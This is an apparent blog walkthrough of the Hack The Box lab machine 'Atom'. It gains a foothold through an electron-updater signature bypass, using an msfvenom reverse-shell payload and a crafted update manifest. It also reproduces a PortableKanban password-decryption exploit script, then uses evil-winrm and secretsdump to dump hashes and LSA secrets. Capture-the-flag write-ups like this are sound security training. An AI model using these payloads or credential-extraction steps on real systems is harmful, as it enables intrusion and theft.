NameAtom
DifficultyMedium
Release Date2021-04-17
Retired Date2021-07-10
IP Address10.10.10.237
OSWindows
Points30

The WalkThrough is protected with the root user’s password hash for as long as the box is active. For any doubt on what to insert here check my How to Unlock WalkThroughs.

foothold

Lo and behold my second all time Windows box. As usual, I started with nmap to get a sense of what I would be up against:

# Nmap 7.80 scan initiated Tue Jun  8 23:57:32 2021 as: nmap -p- -sV -sC -oN nmap 10.10.10.237
Nmap scan report for atom.htb (10.10.10.237)
Host is up (0.21s latency).
Not shown: 65529 filtered ports
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
135/tcp  open  msrpc        Microsoft Windows RPC
443/tcp  open  ssl/http     Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Heed Solutions
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp  open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6379/tcp open  redis        Redis key-value store
Service Info: Host: ATOM; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h32m01s, deviation: 4h02m32s, median: 11m59s
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: ATOM
|   NetBIOS computer name: ATOM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-06-08T16:21:21-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-08T23:21:18
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun  9 00:09:59 2021 -- 1 IP address (1 host up) scanned in 747.00 seconds

With this information at hand I dove right in the website to check what it was about.

website

Well, how cool is that? A website full of nothing! My first though was: This is going to be interesting 🤔. Since the only thing that the site actually had was a Windows application for some software called Heed, I just downloaded the file and was greeted with heed_setup_v1.0.0.zip. Now, the zip file only had an installer in it (heedv1 Setup 1.0.0.exe), so I used the Linux power tools (#cof #cof):

archive-manager

GNOME’s Archive Manager 😉! With nothing to be seen on the root of the installer, $PLUGINSDIR did have a file named app-64.7z, so, once again, I’ve extracted that one, and then uncompressed it.

┌─[r3pek]-[~/CTF/HTB/Machines/Atom/heed/app-64]
└─$ ls
total 3.3M
-rw-rw-rw-. 1 r3pek admins 2.9M Jun  9 01:25 app.asar
-rw-rw-rw-. 1 r3pek admins   79 Jun  9 01:25 app-update.yml
-rw-rw-rw-. 1 r3pek admins 290K Jun  9 01:25 electron.asar
-rw-rw-rw-. 1 r3pek admins 112K Jun  9 01:25 elevate.exe

Now this is getting interesting. There’s an elevate.exe that will probably come in handy sometime down the road of this box (my initial thought) , there’s app-update.yml which contains this:

provider: generic
url: 'http://updates.atom.htb'
publisherName:
  - HackTheBox

And there’s 2 asar files that I didn’t knew what they were, but with a quick search, they turned out to be the actual code of the application:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom/heed/]
└─$ npx asar extract app-64/app.asar app.asar.unpacked

┌─[r3pek]-[~/CTF/HTB/Machines/Atom/heed/]
└─$ ls app.asar.unpacked/
total 24K
drwxr-xr-x.  2 r3pek admins 4.0K Jun  9 18:10 icons
drwxr-xr-x. 26 r3pek admins 4.0K Jun  9 01:54 node_modules
-rw-r--r--.  1 r3pek admins 1.2K Jun  9 08:57 createNote.html
-rw-r--r--.  1 r3pek admins 2.6K Jun  9 08:57 main.js
-rw-r--r--.  1 r3pek admins  267 Jun  9 08:57 package.json
-rw-r--r--.  1 r3pek admins 1.7K Jun  9 08:57 version.html

All things point to an Eletron app. One thing I got from doing Web Challenges on HTB is that when a nodejs application is vulnerable to something, it normally has to have a specific version of a package defined on its “requirements” file. In this case, this file is package.json:

{
  "name": "heedv1",
  "version": "1.0.0",
  "main": "main.js",
  "description": "Open Source Application provided by HackTheBox",
  "author": "MrR3boot",
  "dependencies": {
    "electron-log": "^1.3.0",
    "electron-updater": "^2.23.3",
    "url": "^0.11.0"
  }
}

I took a quick glance at the application source code and noticed it doesn’t even talk to any server so this couldn’t even be any hidden API endpoint for example that I could exploit. Heed is actually a standalone app and the only thing it does is to add <li></li> into a <div> without any actual server side or database storage. The vulnerability, if there was one, had to be in one of its dependencies. So I started looking into vulnerabilities on those 3 dependencies and came across this one. Basically, the electron-updater can be tricked into updating the application with a malicious one by bypassing the signature verification process (full details on the blog post).

This was actually and interesting vulnerability, but, at the time, I really didn’t see a point on trying to use it. The application was contacting a domain that I didn’t control (updates.atom.htb), so I couldn’t supply an latest.yml file which would trick it to update to a malicious one. Besides, who was I going to “trick”? Me 😕?!

I decided to explore more of the 2 domains I knew about: atom.htb and updates.atom.htb, so kicked of gobuster:

┌─[r3pek]-[~]
└─$ gobuster dir -u http://updates.atom.htb -w /usr/share/dirb/big.txt -x yml
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://updates.atom.htb
[+] Threads:        10
[+] Wordlist:       /usr/share/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     yml
[+] Timeout:        10s
===============================================================
2021/06/09 00:36:07 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.yml (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.yml (Status: 403)
/Images (Status: 301)
/aux (Status: 403)
/aux.yml (Status: 403)
/cgi-bin/ (Status: 403)
/com1 (Status: 403)
/com1.yml (Status: 403)
/com2 (Status: 403)
/com2.yml (Status: 403)
/com4 (Status: 403)
/com4.yml (Status: 403)
/com3 (Status: 403)
/com3.yml (Status: 403)
/con (Status: 403)
/con.yml (Status: 403)
/images (Status: 301)
/licenses (Status: 403)
/lpt1 (Status: 403)
/lpt1.yml (Status: 403)
/lpt2 (Status: 403)
/lpt2.yml (Status: 403)
/nul (Status: 403)
/nul.yml (Status: 403)
/phpmyadmin (Status: 403)
/prn (Status: 403)
/prn.yml (Status: 403)
/releases (Status: 301)
/secci� (Status: 403)
/secci�.yml (Status: 403)
/server-info (Status: 403)
/server-status (Status: 403)
/webalizer (Status: 403)
===============================================================
2021/06/09 00:39:53 Finished
===============================================================

I’ll spare you the reading of the atom.htb domain because it is exactly the same as this one. Yeah, there isn’t even 2 vhosts on this server. This was starting to get confusing since the app relied on the updates.atom.htb/latest.yml file to be there for the electron-updater vulnerability to work, so this proved that that was definitely not the way to go. I needed to find some other entry point.

I got back to check the nmap scan, and decided to take a look if there were any shares on the box:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ smbclient -N -L  \\\\atom.htb\\

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Software_Updates Disk      
SMB1 disabled -- no workgroup available

So we got a Software_Updates there, nice! What’s inside it?

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ smbclient -N  \\\\atom.htb\\Software_Updates
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Jun 12 00:57:14 2021
  ..                                  D        0  Sat Jun 12 00:57:14 2021
  client1                             D        0  Sat Jun 12 00:57:14 2021
  client2                             D        0  Sat Jun 12 00:57:14 2021
  client3                             D        0  Sat Jun 12 00:57:14 2021
  UAT_Testing_Procedures.pdf          A    35202  Fri Apr  9 12:18:08 2021

		4413951 blocks of size 4096. 1357488 blocks available
smb: \> 

Good, some new info. I transfered the UAT_Testing_Procedures.pdf file

uat

This is an “Internal” document describing the procedures for QA testing new versions of the application. All we have to do is to generate the new version of the application, add it to one of those client{1,2,3} folders and “someone” from the QA team will actually try it. Good, this way we leverage the electron-updater vulnerability and maybe get a shell. So, first things first: we need to get our “application”:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.240 LPORT=4444 -a x86 -f exe > p\'ayload.exe

What a nice little Electron app we have here 🤪. Now, as the blog entry suggested, we calculate the sha512 of the file base64 encoded:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ shasum -a 512 p\'ayload.exe | cut -d " " -f1 | xxd -r -p | base64
VUHkbxnPlkTQtPgC0HLlGawevi+TrcGeclJpymJasoLnbsiu/eI/psNUbVDkeiCRcQVoSCqjuIYl
xO/VXVbD1w==

And just to finish, we create the lastest.yml file to upload to one of the clientdirectories on the samba share.

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ cat latest.yml 
version: 1.2.3
path: http://10.10.14.240:9000/p'ayload.exe
sha512: VUHkbxnPlkTQtPgC0HLlGawevi+TrcGeclJpymJasoLnbsiu/eI/psNUbVDkeiCRcQVoSCqjuIYlxO/VXVbD1w==

With everything set up, we open a metasploit reverse shell listener, fire up a python webserver, upload the file to the samba share and pray that the QA tester is online 🙏😉.

⚠️ Hang in tight while the QA tester is drinking his/her coffee. Sometimes it takes a while until we get a shell 😉.

meterpreter-user

And we have our foothold!

user flag

Getting the user flag at this time is easy because we just have to pop a shell from meterpreter and type the user.txt file:

meterpreter > shell
Process 7052 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19042.906]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>cd \users\jason\desktop
cd \users\jason\desktop

C:\Users\jason\Desktop>type user.txt
type user.txt
641592509bf775e184eb9d59eb2c8260

C:\Users\jason\Desktop>

root flag

Now we need to escalate to NT AUTHORITY/SYSTEM/Administrator. For that I needed to enumerate the box so that I could have some kind of info of what was running on it. I uploaded WinPEAS to the box and ran it (Here’s the output).

Not much to be seen there in terms of strait up vulnerabilities. We did have some credentials:

[+] Checking Credential manager
 [?]  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault
  [!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string


   Username:              ATOM\jason
   Password:               kidvscat_electron_@123
   Target:                ATOM\jason
   PersistenceType:       Enterprise
   LastWriteTime:         3/31/2021 2:53:49 AM

We already had a shell for jason so this didn’t bring anything new. There must be some other way.

At this time, I spent something between 1 and 2 hours looking at everything that WinPEAS “told” me to check just to come up empty. Feeling lost, I asked for a small nudge from someone on the HTB Discord server. This was his response:

“Alright, you should look out for creds. See whats running on the box, what might contain credentials”

At this time it hit me! I had actually looked at c:\xampp but it was inaccessible to the jason user, but I had totally forgot about the redis service running on the box. I started looking for something related to redis. WinPEAS told me that redis was running as a service so there might be an exploit to it for some RCE. I just needed to find its version to see if it was exploitable, but for that I needed credentials:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ redis-cli -h atom.htb
atom.htb:6379> INFO
NOAUTH Authentication required.
atom.htb:6379> 

Something in this user is accessing redis. It wasn’t the website because it was too simple to be using it (well, this was just a guess), so I started looking around the user’s directories. On the user’s Downloads (C:\Users\jason\Downloads) folder I found a folder named PortableKanBan, which inside had a file called PortableKanBan.cfg:

<snip>
      "DataSource":"RedisServer",
      "DbServer":"localhost",
      "DbPort":6379,
      "DbEncPassword":"Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb",
      "DbServer2":"",
      "DbPort2":6379,
      "DbEncPassword2":"",
      "DbIndex":0,
      "DbSsl":false,
      "DbTimeout":10,
<snip>

Oh nice, we found the password! I might be wrong, but it looks like that the password is encrypted. Nevertheless, I did try that password to access redis but of course that wasn’t it. Somehow I had to decrypt that. I looked for the source code online only to find that the project was abandoned ☹️ and no source code is available. Oh well, I tried on Hashes.com hash_identifier but of course this wasn’t a valid hash. Only thing left to do was hope that the software had some kind of vulnerability and since it was abandoned without source code, it wasn’t fixed.

portable-kanban-exploit

Ah the exploit gods were with me this day 🥳!

Turns out that the passwords are actually easily decipherable. I quickly downloaded the exploit from exploits-db.com and analyzed it.

The exploit loads up a pk3 file that should have contained a json formatted list of users. Since the format we have is a little different (because it’s the actual configuration file and not a list of users), I just fixed it to work with our file and ran it.

 1# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval
 2# Date: 9 Jan 2021
 3# Exploit Author: rootabeta
 4# Vendor Homepage: The original page, https://dmitryivanov.net/, cannot be found at this time of writing. The vulnerable software can be downloaded from https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
 5# Software Link: https://www.softpedia.com/get/Office-tools/Diary-Organizers-Calendar/Portable-Kanban.shtml
 6# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.
 7# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on. 
 8
 9# PortableKanBan stores credentials in an encrypted format
10# Reverse engineering the executable allows an attacker to extract credentials from local storage
11# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials
12
13import json
14import base64
15from des import * #python3 -m pip install des
16import sys
17
18try:
19	path = sys.argv[1]
20except:
21	exit("Supply path to PortableKanban.pk3 as argv1")
22
23def decode(hash):
24	hash = base64.b64decode(hash.encode('utf-8'))
25	key = DesKey(b"7ly6UznJ")
26	return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
27
28with open(path) as f:
29	try:
30		data = json.load(f)
31	except: #Start of file sometimes contains junk - this automatically seeks valid JSON
32		broken = True
33		i = 1
34		while broken:
35			f.seek(i,0)
36			try:
37				data = json.load(f)
38				broken = False
39			except:
40				i+= 1
41			
42
43#for user in data["Users"]:
44#	print("{}:{}".format(user["Name"],decode(user["EncryptedPassword"])))
45print("{}".format(decode(data["RoamingSettings"]["DbEncPassword"])))
┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ python portablekanban.py PortableKanBan.cfg 
kidvscat_yes_kidvscat

And now we have our redis password! Time to try it out and get its version.

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ redis-cli -h atom.htb
atom.htb:6379> AUTH kidvscat_yes_kidvscat
OK
atom.htb:6379> INFO
# Server
redis_version:3.0.504
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:a4f7a6e86f2d60b3
redis_mode:standalone
<snip>

Good, now we know we running redis 3.0.504. Time to look for exploits!

🕛🕧🕐🕜🕑🕝 Some time later I gave up

I could only find exploits for versions 4.x and 5.x or for some misconfigured redis-on-linux instances that I wasn’t even sure it would work on this version. CVE’s came up empty for this version too and I was beginning to get desperate. Somewhere along the lines of my desperation, I remembered that I didn’t even check for data inside the redis.

atom.htb:6379> keys *
1) "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"
2) "pk:ids:MetaDataClass"
3) "pk:ids:User"
4) "pk:urn:metadataclass:ffffffff-ffff-ffff-ffff-ffffffffffff"
atom.htb:6379>

🤦 Yes, this is one of those times where you wish you don’t overthink things. They might just be way simpler!

A simple get would put me back on the right track for the final “hack”:

atom.htb:6379> get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0
"{\"Id\":\"e8e29158d70d44b1a1ba4949d52790a0\",\"Name\":\"Administrator\",\"Initials\":\"\",\"Email\":\"\",\"EncryptedPassword\":\"Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi\",\"Role\":\"Admin\",\"Inactive\":false,\"TimeStamp\":637530169606440253}"
atom.htb:6379>

We found the Administrator password 😉! By the looks of it, it might be using the same format as the other before (for the redis password). So, I just updated the password to be decrypted and run the python script again:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ python portablekanban.py PortableKanBan.cfg 
kidvscat_admin_@123

YAY for Administrator password 🎊!

Now, with the help of evil-winrm, I could just login into the system as Administrator and get the root flag.

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ evil-winrm -i atom.htb -u Administrator -p kidvscat_admin_@123

Evil-WinRM shell v2.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
39b0961dcd501b91327bbfe93230f245
*Evil-WinRM* PS C:\Users\Administrator\Desktop> 

root password hash

For the “bonus points”, we can get the Administrator hash with Impacket’s secretsdump:

┌─[r3pek]-[~/CTF/HTB/Machines/Atom]
└─$ secretsdump-3 Administrator:kidvscat_admin_@123@atom.htb
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x1ee8c1cb71b66e0cf32c7e6ebc373ffd
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7df7256dc47d2125d825058b2f89ff38:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:e3f92dc41d4f0be7e38ed5f0db92c356:::
jason:1002:aad3b435b51404eeaad3b435b51404ee:499aef4877d2d83e548a3e8f5f742ffe:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
ATOM\jason:kidvscat_electron_@123
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x728c8e0690c5429a11ccf9f97423885eaec9159f
dpapi_userkey:0x809e89cd34beb9fcdde7656cdecf23539b4811eb
[*] NL$KM 
 0000   D6 27 8B 78 00 A1 49 B3  55 C8 5F 3B 8B DC BB 07   .'.x..I.U._;....
 0010   82 75 F1 78 F7 7F EB D3  A1 C9 2E 5A B6 38 88 1B   .u.x.......Z.8..
 0020   20 AF 75 56 A2 ED 66 04  37 48 FF FC 24 36 75 95    .uV..f.7H..$6u.
 0030   1C 30 97 7B D5 81 1D 79  E3 AA 21 94 CA 93 E2 3A   .0.{...y..!....:
NL$KM:d6278b7800a149b355c85f3b8bdcbb078275f178f77febd3a1c92e5ab638881b20af7556a2ed66043748fffc243675951c30977bd5811d79e3aa2194ca93e23a
[*] Cleaning up... 
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry